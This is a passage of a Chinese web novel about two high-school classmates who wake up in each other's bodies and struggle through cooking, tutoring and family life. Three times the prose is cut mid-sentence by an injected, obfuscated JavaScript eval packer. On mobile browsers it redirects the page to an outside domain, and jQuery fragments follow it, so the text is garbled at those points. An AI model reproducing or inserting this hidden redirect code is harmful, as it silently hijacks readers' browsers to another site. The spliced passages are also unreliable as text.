“还好,你家里没人,顺着导航能找得到。”路洱下楼没看见阮棠,房子里空荡荡的,她顺利出了大门。 “那待会见。” “嗯。” — 咖啡店,冷气呼呼地刮。 路洱到了有一会儿,她给阮西颜发短信说明具体位置。阮西颜说公交来得比较慢,路洱理解。 她和阮西颜,为什么会发生这样的事?灵魂互换这种事,路洱作为唯物主义者,只觉得它会存在想象中。 但是这种天方夜谭,又的的确确地发生在了她们身上。 路洱思考得头疼,侧过脸的空隙,阮西颜进入了视野。她举了举手,阮西颜看见了,跑过来。严格地说,是一个路洱跑了过来。 用第三者视角看自己朝自己走来,其实……怪惊悚的。 “来晚了吗?”阮西颜一进咖啡店就被冷气席卷全身,像大暑天扎头埋进雪糕堆里。他身心舒畅不少。 路洱摇头。旁边服务生凑上前:“二位要喝点什么吗?” “……”路洱没说话,这会儿她没什么心思喝咖啡,阮西颜瞅她一眼,开了口,“两杯Dirty吧,谢谢。” 服务员退下,不多时,就把咖啡端上来了。两个人一时都不知道该说什么,只好保持沉默。 阮西颜把玻璃杯推了推:“这个早点喝,口感比较好。我请你喝。” “……谢谢。”路洱默了默,轻轻地吮咖啡。 “……话说,我们是一觉醒来变成这样的,对吧?” “嗯。” 阮西颜努力思考:“今天是六月三十号,该不会是昨晚有哈雷彗星,引发了特殊现象?” 路洱平静:“哈雷彗星下次回归在2061年。” “那不会是昨晚有外星人把我们两个抓去做实验了吧……” 路洱脸上没动,阮西颜尴尬地摸了摸头:“我开玩笑的。” 这种事情太无厘头了,超出甚至能说是颠覆两个地球人的认知。阮西颜纳闷不得解,突发奇想去拧一下胳膊肉。 “……”路洱冷静制止,“不用掐了,我掐过了。” 阮西颜:“……” 4. 第四章 两个人接着沉默。 “……总之,不知道是什么原因。”路洱视线投向窗外,“事到如今,也只能先走一步看一步。” “我们互换灵魂的这件事……先不要告诉任何人。”路洱转回来,凝望他的脸庞,“除此之外,我们还得扮好各自的身份。” “我扮你你扮我的意思对吧?” 路洱:“嗯。” “我先交代一下我家里的情况。”路洱这会庆幸起好歹是暑假了,不然在上学日的话,得乱套成什么样。 “我家里……”她顿了顿,说,“我跟二叔一家人住,平日里你叫他们叔叔婶婶就行。我白天负责洗衣服,倒垃圾什么的,晚上要洗碗……对了,我还要做晚饭。你会做饭吗?” 阮西颜竖耳朵认真听她说话。在听前面时,他默默闭着嘴,听到后半句的家务活,心里边揣摩边试图记下。听见最后一句,阮西颜被砸晕了似的懵圈了:“做饭?” 看他这表情,路洱知道没戏了:“我每天都得负责做晚餐。你……一点都不会吗?” “……会煎鸡蛋算吗?”阮西颜弱弱表示。 “……”罢了,路洱暂时把这个抛到脑后,“你那边是什么样?” 阮西颜想了想:“我啊,我这只有妈妈在家,这几天她外出旅游还没回来。阮棠……你知道吧,我堂妹。”看她点头,阮西颜继续说,“她就借住我家玩一阵子,其它的没了。” 听见这个,路洱跟着补充道:“我有个堂弟,关系一般……不用太在意。” 说完这些,两个人再次陷入沉默。 还有什么要说吗?应该没了。 阮西颜悄悄扬着余光盯她。路洱同学,不,该说不说,附着一身路洱同学气质的阮西颜,端着张高冷脸,还真是……别有风韵。 路洱淡漠着神色,眉眼忽地乜过来,阮西颜把眼珠子心虚地转去一边。 说实话,他没和路洱这样的女孩子相处过。阮西颜朋友不少,像路洱这样寡言少语又看不透想法的,他算是头一回接触到。 因此这会儿沉默的空当,他也不知道该说点什么好。何况还是如此尴尬的境地。 两个人就这么面对面坐咖啡桌又安静了一会儿。 路洱心情甸甸,一遇上麻烦事她就不自觉抿平唇线。发呆许久,对面的阮西颜却诡异地红了耳根。 他抬手挠了挠,视线变得飘忽,嘴里嘀咕着什么。路洱听不清,眉头拧了拧:“什么?” “我是说,”阮西颜目光瞟她一下,仓促放下去,“我们……我们洗澡怎么办?” “……” 路洱感觉脖颈子的血管无比清晰地抽动了两下。她沉默好一会儿,说:“正常洗吧。” 在脸颊温度升上去前,路洱睇了睇阮西颜,警告道:“你别乱摸。”大概觉得不太公平,她添一句,“我不会乱摸你的。” 阮西颜马上高举手发誓,以表衷心:“阿好……肯定的!我保证!我发誓!” 嘶,只是这对话听起来怎么这么诡异啊?有一种令人想入非非的……不是啊,停!阮西颜紧急掐灭纷飞的念头。 路洱觉得这天越聊越不对劲,她撑起身,窗户外的太阳光整整齐齐地卧倒在一个方向。时候不早了,路洱下最后的通牒:“总之,先这样吧,我们扮演好各自的身份。记住,这件事,不要透露给任何人。” 看阮西颜小鸡啄米似的点头,路洱才说:“那先回去吧。” “等等,我们加个联系方式吧?一直打电话,不太方便。你有微信吧?” 二人打开微信,互相添加了好友。阮西颜叫慢毛毛,头像是只欢泼的卡通兔子,朋友圈一点便是拉不到头的照片文字。 相比之下,路洱的简单得多,猫影子,微信名11。朋友圈一条没发过,像主人那样又空又冷。 加上好友,阮西颜下意识问了句:“一起回去吗?”没记错的话,他家和路洱家有一段能同行的路。 “你先走吧,我去结账。” “好。”阮西颜回头,“拜拜。” 虽然口头上路洱结账,但实际依然用的阮西颜手机。路洱站在吧台,心中暗暗记下这笔费用。 — 奶黄色光线爬上阮西颜的脚踝,他仍觉得一切像一场梦。 变成另一个人……果然还是像梦里的事啊。 阮西颜眼前迷忽,顺着台阶往上走,连有人叫他都没听见。那个人连续叫了几声,他才如梦初醒般回过头。这一回头,阮西颜怔了怔。 “昨天的事考虑清楚了吗?”女人有双笑眼,气质优雅。 喊他的人他当然记得,十八班英语老师米娜。米娜老师惯会反套路教学,她常常在课堂上整出新意,比起批评,她更喜欢夸奖。因此,米娜老师在这帮学生们心目中风评甚好。 老师原来住这栋楼吗? 不对,米娜老师原来跟路洱这么熟吗?阮西颜若有所思。 米娜老师看他没回应,又叫了声:“路洱?要不要去补习班?” “啊啊?嗯,好啊。”阮西颜发觉自己发愣的时间太久了,慌乱之下,顾不上人说的什么就答应下来了。 米娜老师笑容愉快:“那好,到时候时间,地点,我微信发给你。” 米娜老师下去了,阮西颜回到路洱家那层楼,进门,叹口气。 事已至此,还有什么办法。阮西颜躺在床上想,他没几秒就乐观起来。说不定今晚睡一觉,明早就换回来了呢。 阮西颜很快给自己哄好了。翻了个身,望着窗户边上镶着的金丝线,隐约回想起什么。 他好像忘了啥事。 对了!阮西颜一个激灵,衣服!还有——做饭! 路洱一直到进阮西颜家门后都心不在焉。她心里摆着台明镜,清楚她和阮西颜互换了灵魂些事,亏的是他,赚的是自己。 也不知道他能不能忍受家里的那种条件……路洱沉思,抬头就见两只驻在跟前赤裸着的脚丫。 她再抬眼,女孩子正叉腰打量她。阮棠和阮西颜有三分像,尤其是那双眼,像极了三岁孩童喜欢的玻璃球,忽闪忽闪。 阮棠瞧着有点恼,路洱不明前后,只问了声:“怎么了?” “堂哥,你说好的,陪我打游戏呢?”阮棠带点婴儿肥的脸颊略略鼓着,像只河豚,“你已经两天没上线蛋仔派对,三天没跟我组队打游戏了!” 蛋仔派对是什么?路洱没打过什么游戏。她待旁人又冷淡惯了,下意识便说:“不玩。” 话脱口了路洱方觉不对劲,阮西颜应该不会拒绝打游戏这种事吧?于是她生硬地拐了个弯:“……今天不玩,堂哥我要好好学习。”她停了停,在人肩膀上犹豫着拍了拍,“你也是,暑假要……好好学习,天天向上。” 虽然她去打游戏的话会漏洞百出因此不去更为稳妥,但是这种话从阮西颜嘴里说出来显然会带着更为异常的诡异啊。 路洱察觉到这一点,一时偏也别无她法。在彻底ooc前,她竭力端着波澜不惊的面孔,步伐踩快着奔回了楼上房间。 阮棠的眼睛还在后头追随路洱的背影。直到人关了门,阮棠依然维持着一整个张目结舌的姿势,久久没回神。 不对吧?老师,这还是我们家阮西颜吗?这还是她认识的堂哥吗?? — 路洱一口气回房间关门落锁,悬嗓子眼的心尚未落地,就见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180928|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机屏幕上跃出个备注着自己名字的来电。 她把微微紊乱的呼吸捋平,点击接通:“什么事?” “救命救命。”光听他的声音都得听出绝望,“你家是不是准备做晚饭了?我要怎么办啊?” “……”差点忘了这茬事,路洱合眼,微不可察吸一口气,“听我指挥。你先去冰箱那里,看看都有什么食材。” “茄子,娃娃菜,还有盘豆角……豌豆还是豆角的。”阮西颜拉开冰箱,他往里扒了扒,“这还有袋,饺子。” 路洱果断下令:“拿饺子出来。” “哦哦。”阮西颜照做了,走到灶台旁,傻傻地问,“然后呢?” “先把锅洗了。会洗锅吗?” 煮个速冻水饺,实话讲并非什么难事,但阮西颜不是洗锅找不到海绵,就是打火忘了开煤气。 阮西颜无助:“怎么还是没开火啊?” 路洱:“煤气左拧。你是不是右拧了?” 阮西颜:“饺子好像要成面糊了QwQ。” 路洱:“……把快糊的捞出来。” 路洱在那头手比嘴急,阮西颜在这头三个头两个忙。一顿下饺子,两个人足足花了一个多钟结束。 手机有点发烫了,阮西颜夹一枚饺子尝:“……好像放太多盐了。” “……”路洱不想管了,“他们问的话,你就说……饺子留太久了就拿出来煮了。”电话挂断之前,她叮嘱一句,“你别忘了,吃完饭去洗碗。” 阮西颜拿手机回屋充电的功夫,崔凤和路国烊回来了。几人在桌边先后入座,阮西颜心正虚,迟迟没动。 路国烊先发现了:“今晚吃饺子啊?” “饺子?”崔凤瞄一眼,不经意道了句,“我记得我买菜在冰箱了吧?小洱,你没看见吗?” 阮西颜的神经绷得笔直,一听这话,条件反射似的作出答复:“呃,饺子好吃嘛,饺子圆,饺子好……吃饺子多好啊。哈哈。” “……”饭桌上的大人沉默了,对上彼此诡异的眼神。 “……那个,”阮西颜试图挽回崩坏的形象,“因为……因为有专家说,今日天时地利,适合吃饺子。啊哈哈……其实是饺子快过期了,再不吃就得扔掉了。” 越说越糟糕。阮西颜心底泪汪汪地抓着狂。 “……”路国烊善解人意开了口,“小洱原来有点幽默在的。哈哈。” 还不如闭嘴呢。 晚上,阮西颜满身疲惫地躺回床。 路洱的电话打过来,他接通,招呼的力气都没,“喂?” “你还好吗?”路洱听出了他的倦意。 “还好,还是活人。”阮西颜闭着眼睛,刹那后又睁开了,“对了。米娜老师,她邀请你去了补习班……我答应了。应该没什么关系吧?” “没关系。我一开始也打算参加。” 话筒一阵平静,无话可说了。阮西颜努力找话题:“你那边还好吧?” “嗯。”路洱顿了顿,“你堂妹想拉我打游戏,我……没答应。” 阮西颜无所谓:“我不跟她玩也有的是人跟她玩。甭管她。”他有问题要问,斟酌一番言辞道,“你家里……你和你二婶二叔的关系怎么样啊?” “……一般。” “哦……”她不愿多谈,阮西颜也识趣没多问。两个人的听筒重新变得寂静。 “这样下去也不是办法。”路洱最后说,“我看看有空能不能教你煮下饭吧。” “嗯,行。”阮西颜困极了,眼睛酸胀,最后是路洱听着他的含糊声,先挂了电话。 说不定睡一觉起来就好了。 两个人都是这么想的。 5. 第五章 很遗憾。醒来依然没有变回原样。 倒是路洱醒来的时候,又被那条大金毛吓了一跳。金毛活蹦乱跳,显得杵在床脚一动不动的路洱像个傻瓜。 金毛和她隔了两米,路洱见它没有靠近的意思,迟疑着向床沿边上迈开一步。 金毛晃尾巴前进一步,路洱顿时缩起了脚。 “你别,别靠近我。”路洱右手挡在跟前,也不管人家看不看得懂。她快速跳到床头,把手机稳稳抓到手里后又逃回原位。 不确定阮西颜有没有醒,路洱划了个微信电话过去:“醒了吗?” 阮西颜确实没醒,电话响了十秒他才接,哈欠连天:“……什么事?” “你家狗粮在哪?”路洱回头瞥了眼大金毛,它在原地呆着,发觉主人的视线,尾巴立即开心摇晃,“你家的狗好像饿了。” “……”阮西颜大脑宕机中,一会儿后想起这事了,“啊,你说毛毛吗?它早上会自己吃饭的。” 说时迟那时快。这边阮西颜回答,那边金毛突然往路洱这儿扑来了,路洱金蝉脱壳,从空调被底下窜走。她当机立断,飞出房间,把掩着的门关起来了。 路洱平下内心的波澜,说:“它刚才围着我转了几圈。” 金毛用爪子抠一抠门缝,意识到自己被路洱关里边了,在屋里汪汪叫了两声。波澜又起,路洱忍着补充道,“它现在在里边叫。” 阮西颜醒了大半:“它应该是想出去遛弯了。楼下电视柜那里,有狗绳。你牵它随便出去绕两圈。” 路洱面不改色:“我怕狗,关你房间里了。” 阮西颜:“……” 他这下彻底清醒了,在手机这端静默一阵子后,说:“你叫阮棠来遛吧。” “好,谢谢。打扰了。” 路洱蹲在他房间门前,翻找阮棠的微信给她发消息。一会儿之后,阮棠提着条狗绳上来了,离开前,异样的眼神在路洱身上停留了好半天。 路洱脸不红心不跳。只要她不说,没人知道她不是阮西颜。 — 阮西颜被这通电话驱散了困意。手机握在掌间,他面色空白地望了一会儿天花板,终于肯起了床。 昨天从起床后发生的事太惊悚,他观察周边的心思半点都无。 现在呢,阮西颜余光环视四面。这个房间并不算大,书架、晾衣架、旧棉被等零碎的物什,像在挤压本就不宽绰的空间。狭小,但井井有条。 床对面摆着张棕色木桌,乍一看像学校里用的那种。因为桌子上的书占了大半位置,课本、卷子、习题册、作业本,都被齐整地分类收纳好。主人像有强迫症似的,科目,卷类非分个清清楚楚。 甚至椅子前摊着的语文一模复习用本,前夜主人的圆珠笔,还夹在字迹最新的一页那里。 这和阮西颜所幻想的女孩子房间有些不一样。 具体什么不一样,他也说不出来。 不过她的房间还是和自己的有很大差别的。直白一点,就是没什么能玩的。 学霸的屋子就不说了,可连手机里,阮西颜昨天翻看过一遍,没有一点游戏痕迹。单词软件和洋葱数学倒是在屏幕里醒目得紧。 阮西颜放弃了折腾手机,他出房间去洗漱,免不了打量一番镜子。 路洱的长相,其实是好看的。她脸小,眉毛纤细秀气的两条,柳叶梢一般。只是那双眼睛还是太冷了,像泊着新雪,却终年不化。 阮西颜不自觉把嘴角向上弯了一点,皙白的右脸颊那里,有微小的漩涡陷下去。他又把笑弧扩大一些,这下确定了,路洱右脸有个酒窝。 由于不常见主人笑的缘故,酒窝也难以显现。 阮西颜指头轻轻地挠了挠那里。 他也有一个酒窝,在左侧。 恰好地,和她对称。 — 收到阮西颜电话时,路洱在借用他电脑搜索相关信息。 据“一不小心和别人交换了身体怎么办”“互换灵魂是真实发生的事吗”几个搜索词条后,路洱最后敲了个“为什么会发生灵魂互换”。 结果屏幕里弹出来的不是求有关的小说漫画题材帖子,就是一些占卜巫术小游戏。顶头的AI小助手还客气地提醒一句:“亲,如果想玩灵魂互换,可以跟我说‘来玩角色扮演哦’~” 浪费完半天时间,路洱放弃了。 一旁手机响起了一串轻快的来电铃声,路洱瞟了瞟来电人,才接上。 阮西颜一开口就光喊救命了:“不是吧?刚才有个阿姨打来了电话,喊我去她家里,说是今天做家教的日子。” “咱们也才高二,没满高三呢,你怎么接上了家教啊?” “能挣点生活费。”路洱顿一下,“教的小学五年级数学,不难。” 五年级数学?阮西颜沉思,路洱在那边指挥:“姜阿姨的家,你看一下微信,有地址。你带上我放床边的教辅书和桌上的教案,现在去那个地方。” “抱歉,这件事是我的疏忽。”突发这种奇幻事,她都忘了后天下午得帮姜言言补习的事。 阮西颜跟着她的指令走,直到收起那本数学教辅书,低头瞧见封面的那一刻。 阮西颜的面孔裂了。 “你没告诉我,你教的小学数学,是奥数啊??” 酷暑天,空气里好似弥漫着一股烧焦的气味。小区里空无一人,满目是白花花的大日光,以及两道人影子。 路洱还是和阮西颜一起过来了。 阮西颜手遮着光线:“是这里吧?” 路洱点头:“是。进去吧。” 两人走进单元门,随着电梯上升,阮西颜揩一把额角的汗:“话说……” 路洱转头。 “我们两个一起来家教,是不是很奇怪?” 路洱沉默。 半晌,她说:“姜阿姨人很好,说朋友比我有经验,给那孩子讲得更好一点,应该不会介意。”其实来讲的都是一个人,但只要不穿帮就行。 到达楼层,路洱在前边,礼貌敲了两下门。没到一会儿,门开了,一个十来岁的男孩只露了半个脑袋,似有疑惑地打量着眼前人。 路洱回头看一眼阮西颜。 阮西颜忙靠上前,下意识挂上个开朗的笑脸:“你好。”被路洱用手肘暗暗撞了下,方才反应过来,“啊,我们是来做家教的。” 路洱差点没塌了脸上的表情。好在姜言言没有在意,他让开身位:“路姐姐,这个哥哥是你朋友吗?” “嗯。他是姐姐朋友,来做……”阮西颜舌头打结一瞬,“来看姐姐怎么做家教的。欢迎吗?” 姜言言使劲摁着脑袋:“当然欢迎。那哥哥怎么称呼啊?” 后边冷着脸的哥哥终于搭了句腔:“叫我西颜哥哥就行。” 姜言言只觉得路姐姐今天真奇怪。然后他很快发现,奇怪的不止一点,还不止她一人。 — 姜阿姨出去照看住院的外婆,不在家,阮西颜松了口气。他真担心跟阿姨聊个三言两句就被看穿。 补习的地方在客厅正中央。三个人坐在茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180929|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几边,阮西颜偷偷和路洱撞上余光,后者则不改神色地叫他继续。 阮西颜只好翻开那本奥数书。在那之前,阮西颜的心里还存着些侥幸。虽然奥数很难,但是小学五年级的,应该不会…… 简单。 第一题是计算题。0.999x0.999+0.001999+2020=多少? 阮西颜:“……” 为什么要这么对待他这种连乘法口诀都能背成七八六十五的人? 阮西颜不会,依然得按照路洱给他布置的话术进行:“嗯,还记得我上次教给你的创新思维计算法吗?那这个,你看,要怎么解?” 五年级的小朋友会做这个题吗? 应该不会吧。 事实上,姜言言小朋友一本正经回答了“知道。”随即,他拿着铅笔,在稿纸上写下了计算过程。 =0.999×(1-0.001)+0.001999+2020 =0.999-0.000999+0.001999+2020 =0.999-(0.000999-0.001999)+2020 =0.999+0.001+2020 =2021 他一气呵成。阮西颜探头一看,沉默了。 原来是这个创新算法吗?那不算。下一题,他一定会。 第二题。甲乙两个水管单独开,注满一池水,分别需要20小时,16小时。丙水管单独开,排一池水要10小时,若水池没水,同时打开甲乙两水管,5小时后,再打开排水管丙,问水池注满还需要多少小时? 阮西颜:“……” 合着在这玩脑筋急转弯呢? 阮西颜低头,用眼神示意姜言言。姜言言无辜睁着双眼,表示自己不会这题。 两个人在那里眉来眼去。路洱看不下去了,出面道:“我来吧。” “对对,让西颜哥哥来。”阮西颜如获大赦,外婆卖瓜都不带心虚的,“你西颜哥哥很厉害的,他比姐姐会解这种题。” 阮西颜撤到后边了,但不能完全脱身。他得参与过程,尽管实际用处可有可无。 路洱给姜言言讲题的时候,他就在一旁端水扇风。 讲了一半,到了休息时间。路洱去上厕所,姜言言盯着正低头玩着路洱手机的阮西颜,趴在人耳边,小声说:“路姐姐。那个西颜哥哥,是不是你男朋友啊?” 阮西颜抬头,茫然地问:“为什么这样说?” 姜言言表情真挚:“我猜的。” “……”阮西颜小心瞄了眼厕所的方向,路洱还没出来。他叮嘱,“我们只是朋友,你这话,不能跟西颜哥哥乱说啊。” 姜言言在嘴边做了个提拉链的手势,心里还在默默揣测两个人的关系。 这场奇怪的家教持续了两个半钟才结束,姜言言把人送到门口:“路姐姐,西颜哥哥,下次见。” 好不容易等到完工,阮西颜忍不住绽放个跟向日葵一样灿烂的笑容:“下次见。” 路洱微微点头:“嗯,下次见。” 送走路洱和阮西颜,姜言言还在心底赞同自己的猜测。这两个人,一定是情侣吧? 他就没见过路姐姐笑那么开心过。 姜言言今年十岁大,对恋爱一无所知,但这不妨碍他对爱情产生幻想。 电视上说,爱情的力量是伟大的,能使一个人改变。所以,他路洱姐姐肯定是受到爱情影响,才变得这么开朗的。 姜言言深以为然。 6. 第六章 二人离开姜言言家,没急着各回各家,进了路边一家奶茶店。主要是两头得彻底对个账,要是像临时补习这类事再有发生,女蜗来了也难以力挽狂澜。 “你的意思是,”阮西颜不敢置信,“我们还得做一个暑假的家教?” 路洱喝着刚点的椰果奶茶,听见话咳一声,别过脸:“是。” “……这样下去是个人都会觉得我们不对劲吧。”阮西颜彻底瘫在椅子上。手机振动一声,他拿起来,米娜老师给他微信发来了地址。 等等?阮西颜的眼睛一下子睁得跟铜钱那么大,他蹦起来:“你的补习地点怎么这么眼熟……阿,和我的一样。” 路洱没听明白,摆出疑惑的脸。 “忘跟你说了,我妈暑假给我报了补习班。”阮西颜仰面倒回原地,“你这看来只报了英语,我语数英都报了。还挺巧的,我们同一个补习班。” 路洱心想,好歹能省点麻烦。 她的想法没成形几秒,就被阮西颜接下来的话打散了:“哦,还有,不止文化课补习。”他摸摸鼻子,“……我周末还有美术课要补。周一到周五是文化课,周末就是美术课。” 阮西颜这么一说,路洱方想起来他的身份。怀安三中既有文化生也有艺术生,后者占较少数。三中师资力量不足以支撑给艺术生单独教授文化课,于是艺术生高中前两个学期散落各个班级,与文化生一同学习。高二的那个暑假,才统一进入集训阶段。 十八班艺术生就两个,身为美术生的阮西颜也常会在一些晚自习缺课。偏他碰上的是路洱,她没兴趣关注别人的去向。 所以会把这种重要事首先忽略掉。 补习,美术课……一场灵魂互换,像房子里下起了大雨,书本被用来当滑板,两个彻底乱套的人生。 路洱的眉毛和唇角抿得发皱,正思考得头疼,背后冷不丁传来一个男声:“西颜?你在这啊?” 这一喊,两个人皆是愣了愣。路洱回头,远处有个寸头男望着这边,乍一看还有些许脸熟。 路洱立即领神,这是阮西颜的一个朋友,陈想,放假当天她还见过。记忆里,两个人关系应该不错。 阮西颜不比她,下意识就要抬手了:“好巧……”路洱一个藏刀的余光丢过去,阮西颜遽然清醒,手慢慢敛下来。 “这都能碰到你。”陈想走了过来,看清路洱对面的人后,面色露出惊讶,“……班长?好巧啊,你们也在这里碰到的吗。” “偶遇。”路洱言简意赅。 陈想没想那么多,挨着路洱就坐下来了:“哦哦,我说呢,你们……我在附近球场打篮球,渴了进来买杯奶茶,觉得你背影怎么这么眼熟,叫了声,果然是你。” 路洱往旁边挪一小步,哪知陈想大咧咧地,一揽手就勾住了她肩膀:“我那还缺几个,你来不来?放假几天都没能约你出来打球,你小子神神秘秘的都在干什么?” 路洱不习惯跟谁有这么近的肢体接触,心里一时抵触想要躲闪。但大脑高速运转,判断出现在推开不是明智之举。 皮肤上的刺挠窜了又窜,她勉强压下那股不适感:“要补习,没空去。” 陈想若有所思:“你妈给你报的那个补习班是吗?我以为你开玩笑呢。那可惨了,你一个暑假都得学习啊。那还不如沈光浩,大热天跑去新疆玩了。好歹是玩。” 两人的互动,被坐对面的真正的阮西颜收入眼底。他只能默默咬着嘴里的杨枝甘露。 路洱按捺不住了,她腾地拔身:“时候不早了。我先回去了。” “这么快啊?”陈想心眼子粗,压根没想那么多,只看着路洱加速离去的背影困惑道,“哎,我说,你小子今天怎么这么高冷。咋地,培养开学新人设啊?哦,班长,你也要回去了吗?” 阮西颜“高冷”地点点头,紧接着也出了奶茶店。 — 阮西颜的家住在碧湖,这一片是怀安核心地带,聚集着数不清的有钱人家。富二代、海归、高管,比比皆是。 路洱又绕过一栋高档别墅,终于回到了阮西颜家。人脸识别进门,房子宽敞得像是再长的手也碰不到顶。 她一时立在玄关发了怔。感到脚边像被什么撞了撞,路洱低头,看见扫地机器人正慢吞吞地绕过她。 路洱拇指搓一搓眉头,把心底胡子茬似的乱冒的胡思乱想一并铲除后,她进了阮西颜卧室。 阮西颜的卧室除了装下必要家具,剩余的空间再建一所她家的厕所同样绰绰有余。不然路洱也没那个条件跟那头大金毛玩追逐战了。 床边电脑桌上横着大屏幕,边上放有iPad。墙面挂着耳机、游戏手柄等电竞产品。沙发椅里,路洱走近瞧,一顶酒红色的鸭舌帽还静静躺在里面。 一个充满个人气息的房间。 路洱在卧室里走了一圈,只找到了个画本子。她猜测阮西颜的画室会在另一个单独的房间。 路洱掀开头几页,有素描,水彩,速写,本子画得杂,半身像、风景、漫画等。 路洱并不了解阮西颜在美术领域的成绩如何。单从她的视角看,阮西颜画的画还是很具观赏性的。简而言之,是她不能轻易滥竽充数的那类。 路洱想了想,敲开隔壁卧室门,果真发现了阮西颜的画室。墙上和书柜里,延绵着多项美术赛事的奖状与奖杯,瞭目得慌。 她低头,手里仍握着那画本子。男生长年绘画的手指节,修长、干净,少许处布着一层薄茧子。 一想到要扮演阮西颜画画、补习,模仿他人的性格,路洱感觉头更疼了。 真麻烦啊。 — 这边阮西颜到了路洱家,准备推开门时,他豁然惊醒自己还要做饭的事。 火急火燎打开手机喊路洱求救,却率先收到了路国烊的短信。大意是他们一家子外出玩了,今晚在外面吃,让路洱自己解决晚餐。 阮西颜吊起的心当即变得松弛。走了几步,他想着,一家子外出玩,为什么没有叫上路洱呢? 联想到路洱居住在二婶二叔一家的事,阮西颜默默停止了猜想。只是这会,他好像能理解路洱为什么会是这个性格了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180930|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮西颜不会做饭,打算随便对付一下。在家里翻箱倒柜一阵,翻出袋红烧牛肉味的方便面。 没过期,还能吃。阮西颜开始烧热水泡方便面,家里一个人没有。他嘴里轻哼着小曲,等待热水烧开的途中,放会儿歌。 点进手机里唯一的音乐软件,阮西颜想找耳机。可眼见快把半个房间刨翻了,也没见耳机的踪迹。 正巧路洱给他发来了消息,询问他今天晚餐的事儿。 阮西颜发送条语音:“你家里人不在,让我自己解决。我就煮了碗泡面。你有耳机吗?我想听歌来着。” 【慢毛毛】:应该被压在了物理书下,必修一的。 连科目都记得这么清楚。阮西颜一边被折服一边寻找目标,果然在书底下挑到了条有线耳机。 他转身要去客厅。忽地,房间里多了一声喵叫。 很清脆,阮西颜确认不是自己的幻觉。他垂下眼皮,见地板上不知何时有了只黑白相间的花猫。 昨夜房间里太闷,阮西颜敞开了窗户吹风。今天忘记关了,想必这头奶牛猫就是沿着窗户缝进来的。 “哪来的黑猫警长。”阮西颜叫它,“咪咪,饿了吗?吃不吃泡面。” 他没什么能给它吃的,可能是其他人家里的猫跑出来了。阮西颜心不在焉,回客厅吃泡面。 吃完泡面进房间,阮西颜发现它还在。不光在,还霸占起了路洱的床。 “欸。这可不是我的床,快下去。”阮西颜忙挥手驱赶,可无论怎么驱赶,奶牛猫就是不肯离开房间。杵在床脚,赖着不走的意思。 阮西颜伸手想摸它头,它一扭躲掉了,怎么都不给摸。阮西颜只觉好气又好笑:“想干嘛?我没有吃的给你。” 边上手机振动,是路洱的消息。 【慢毛毛】:明天我教你煮饭。早上应该没事,你过来这边吧。 【11】:行。 瞟了眼奶牛猫,阮西颜接着打字:“你家来了只黑猫警长,不肯走,也不给摸。” 那头路洱知道是怎么一回事:“它是这附近的流浪猫,有时候会过来跟我要吃的。书桌左边第一个抽屉里有猫粮,你拿一些喂它。” 没想到这小猫真有来历。阮西颜照做,把部分猫粮倒在地上。奶牛猫当真吃了起来,酒足饭饱心满意足,在窗台一跃,消失在了夜色中。 夜的味渐重了。浴室里,阮西颜淋着热水,感觉自己的脸比那洗澡水还能蒸腾。 他的视线紧紧贴着天花板,手上的每一步揉捏皮肤的动作都小心翼翼。仿佛洗的不是自己的身体,而是个易碎的陶瓷娃娃。 想到这,他忍不住被自己逗笑了下。 话说,她用的洗衣液、肥皂和洗发水,好像都是一个味道? 飘着淡淡的香气,清莹的,细闻又不见了影儿。 阮西颜拿起洗发水看了眼。是薰衣草啊。 另一边,路洱强憋着面热,飞速洗完身体。躺着床上,她的十只手指情不自禁地捂住脸,心跳声,咚、咚,一下比一下大。 今晚也注定难眠。 7. 第七章 第三日如常。阮西颜被窗外斜披进来的太阳光照得晃了晃眼睛。 他定坐在床上,脑子不太清醒地想着,自己都快适应起床后睡在的不是自己的床的事实了。 阮西颜缓缓精神气,捡了手机下床去洗漱。 客厅里像昨天那般空荡荡的,只有沙发上多了个男孩,初中生年纪,捧着手机玩得正欢。阮西颜推测这就是路洱堂弟路明毅。 路明毅见阮西颜走出来后,头抬也没抬,只微垮鼻头说:“妈妈叫你今天出门买菜。” “……哦。”想起路洱嘱托的话,阮西颜也懒得跟他多言。买菜的事,他看见崔凤发的短信了。 阮西颜嘴里兜着泡沫,他把牙刷怼在一边,拿手机翻看了眼。路洱的微信很冷清,相较于他的来说,手指点水般微微一划,消息都到了底。 除去家人外每个人都给备注清一色的姓名。最新的几条消息,是晚上崔凤那条,还有昨天睡前两个人的聊天。 阮西颜看着看着就把手机收回口袋。偷窥女孩子的隐私,算什么事呢。何况路洱这个人,他面对着她,感觉永远像隔着一层雾。 她处在雾天里,走过人群,谁望着她,谁的眼睛就变得斑驳、模糊。 